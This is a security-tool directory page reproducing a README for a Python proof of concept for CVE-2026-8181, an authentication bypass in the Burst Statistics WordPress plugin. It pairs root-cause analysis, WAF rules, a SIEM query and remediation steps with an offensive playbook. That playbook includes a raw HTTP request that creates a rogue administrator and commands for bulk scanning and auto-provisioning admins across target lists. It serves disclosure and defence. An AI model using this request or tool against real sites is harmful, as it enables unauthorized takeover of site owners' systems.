Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-8181-PoC — Python PoC for CVE-2026-8181, a critical authentication bypass in Burst Statistics WordPress plugin. Includes exploit automation, bulk scanning, and admin account creation for authorized security testing. | Kitploit
Tools/GitHubGitHub/squamity/cve-2026-8181-poc
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRed Teaming
GitHubsquamity/cve-2026-8181-poc

CVE-2026-8181-PoC

Python PoC for CVE-2026-8181, a critical authentication bypass in Burst Statistics WordPress plugin. Includes exploit automation, bulk scanning, and admin account creation for authorized security testing.

View Repository
51 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🚨 CVE-2026-8181 | Burst Statistics Authentication Bypass

CVE-2026-8181 CVSS WordPress Plugin Affected Versions Actively Exploited

[!CAUTION] CRITICAL ALERT: This vulnerability allows an unauthenticated remote attacker to bypass authentication and gain full Administrator privileges on the target WordPress site by simply injecting a custom HTTP header. This CVE is currently being actively exploited in the wild.


📑 Table of Contents

  1. Executive Summary
  2. 🔬 Deep Dive: Root Cause Analysis
  3. ⚔️ Offensive Playbook: Exploitation
  4. 🛡️ Defensive Playbook: Detection & Mitigation
  5. 🛠️ PoC Tool Usage
  6. References & Disclaimer

📖 Executive Summary

CVE-2026-8181 is a critical authentication bypass vulnerability affecting the Burst Statistics WordPress plugin (versions 3.4.0 through 3.4.1.1). The flaw resides in the plugin's MainWP proxy integration. Due to improper validation of application passwords during the early plugins_loaded hook, the plugin incorrectly grants administrative context to REST API requests that include the X-BurstMainWP: 1 header, even if the request lacks valid credentials.

This transforms a simple, unauthenticated HTTP request into a full administrative takeover, bypassing all standard WordPress authentication mechanisms.


🔬 Deep Dive: Root Cause Analysis

To understand how a simple header grants the keys to the kingdom, we must dissect the PHP logic inside the plugin's authentication handler.

The Vulnerable Logic Flow

The vulnerability stems from a mishandled conditional branch in includes/Frontend/class-mainwp-proxy.php within the is_mainwp_authenticated() method.

  1. The Trigger: The plugin registers init() on plugins_loaded at priority 9. This is too early in the WordPress lifecycle.
  2. The Hook: When a request carries the header X-BurstMainWP: 1, has_admin_access() delegates authentication to is_mainwp_authenticated().
  3. The Core Call: The method reads the Authorization header and forwards the credentials to WordPress core's wp_authenticate_application_password().
  4. The Fatal Flaw (CWE-287): Because the REST API has not yet set the application_password_is_api_request filter to true (due to the early hook execution), the core function returns null instead of a WP_Error object.

Pseudo-code Representation

root@kitploit:~
// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );

if ( is_wp_error( $user ) ) {
    return false; // Correctly handles explicit authentication failures
}

// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
    // Instead of failing securely, it falls through to this unsafe branch:
    $admin_user = get_user_by( 'login', $attacker_supplied_username );
    wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
    return true;
}

⚔️ Offensive Playbook: Exploitation

This section is for Red Teamers and Authorized Penetration Testers.

The Attack Chain

  1. Reconnaissance: Identify the target is running Burst Statistics <= 3.4.1.1 (e.g., via /wp-content/plugins/burst-statistics/readme.txt).
  2. User Enumeration: Find a valid administrator username. WordPress's REST API often leaks them via GET /wp-json/wp/v2/users. If blocked, use the author archive trick: /?author=1.
  3. Payload Construction: Craft an HTTP POST request to create a new user: POST /wp-json/wp/v2/users.
  4. Header Injection: Inject the magic headers:
    • X-BurstMainWP: 1
    • Authorization: Basic <base64(admin_username:fake_password)>
  5. Execution: The server processes the request, hits the flawed null check, and promotes the request to Admin context. The new admin user is created.

Example Raw HTTP Request

root@kitploit:~
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json

{
  "username": "backdoor_admin",
  "password": "SuperSecretPassword123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

[!IMPORTANT] Environmental Caveat: This exploit requires the Authorization header to reach PHP.

  • Nginx / LiteSpeed / Apache with Pretty Permalinks: Header is forwarded. Exploit SUCCEEDS.
  • Apache with Plain Permalinks (Default): Header is silently stripped by the web server. Exploit FAILS.

🛡️ Defensive Playbook: Detection & Mitigation

This section is for Blue Teamers, SOC Analysts, and System Administrators.

🕵️ Detection Strategies

1. Web Application Firewall (WAF) Rules

Block or monitor the specific header at the edge.

ModSecurity / OWASP CRS Rule:

root@kitploit:~
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
    "id:1000001, \
    phase:1, \
    deny, \
    status:403, \
    log, \
    msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
    tag:'CVE-2026-8181', \
    severity:'CRITICAL'"

Cloudflare WAF Custom Rule:

(http.request.headers["X-BurstMainWP"] eq "1")


2. Log Analysis & SIEM Queries

Search your web server logs for the presence of the header combined with REST API user creation.

Splunk / ELK Query:

root@kitploit:~
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0

3. Indicators of Compromise (IoCs)

If you suspect a breach, look for these post-exploitation artifacts:

  • New Admin Users: Check wp_users table for users created via REST API with the administrator role.
  • Suspicious Plugins: Check wp-content/plugins/ for unauthorized uploads (often webshells disguised as legitimate plugins).
  • Modified Files: Check for unauthorized changes in wp-content/themes/ or core files.

🛡️ Mitigation & Remediation

[!IMPORTANT] Immediate Action Required: If you are running a vulnerable version, apply one of the following mitigations immediately.


🛠️ PoC Tool Usage

This repository includes CVE-2026-8181.py, a Python automation tool to verify the vulnerability in authorized lab environments.

Features


Quick Start

root@kitploit:~
# 1. Install dependencies
pip3 install requests urllib3

# 2. Single Site Recon & Auto-Provision New Admin
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k

# 3. Bulk Scan with Combined Success File
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k

# 4. Bulk Scan with Individual Host Reports
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k

📚 References & Credits

  • Original Discovery: Chloe Chamberland & PRISM (Wordfence Threat Intelligence)
  • CVE Record: MITRE CVE-2026-8181
  • NVD Detail: NIST NVD
  • Plugin Directory: Burst Statistics

⚖️ Disclaimer

[!WARNING] FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

The information provided in this repository is for educational purposes, security research, and authorized penetration testing. Exploiting vulnerabilities against systems without explicit, written permission from the system owner is illegal and violates international cyber laws.

The authors and contributors of this repository assume no liability and are not responsible for any misuse, damages, or legal consequences arising from the use of this tool or information. Always hack responsibly and ethically.


Built with ❤️ by Squamity | Maintained for Defensive & Offensive Education
Download Tool
  • The Bypass: The plugin only checks is_wp_error( $user ). Since null is not a WP_Error, the guard passes.
  • The Takeover: The code falls through to an unsafe branch, calling wp_set_current_user() using the attacker-supplied username, instantly elevating the request to full admin context.
  • PriorityActionDetails
    P0Patch the PluginUpdate Burst Statistics to version 3.4.2 or higher immediately via the WordPress dashboard.
    P1WAF Virtual PatchingIf you cannot patch immediately, deploy the WAF rules (above) to block the X-BurstMainWP header.
    P2Restrict User EnumerationUse a security plugin or .htaccess rules to block public access to /wp-json/wp/v2/users and /?author=*.
    P3Audit Users & FilesRun a script to audit recently created administrator accounts and revoke any unauthorized access. Scan for webshells.
    FeatureDescription
    🎯 Single TargetScan a specific site using the -u flag.
    📦 Bulk OperationsFeed a list of targets via -f targets.txt (supports # for comments).
    ⚡ ConcurrencySpeed up bulk scans with threaded workers (-j N).
    💾 Smart Output-o file.txt for a combined report. In bulk mode, only successful exploits are logged.
    📂 Per-Host DumpsUse --output-dir to save individual .txt files for each compromised host.
    👤 Admin CreationPass --create-user to automatically provision a new administrator account via the REST API.
    🔓 Lab TLSUse -k to ignore SSL certificate errors (strictly for local/trusted lab environments).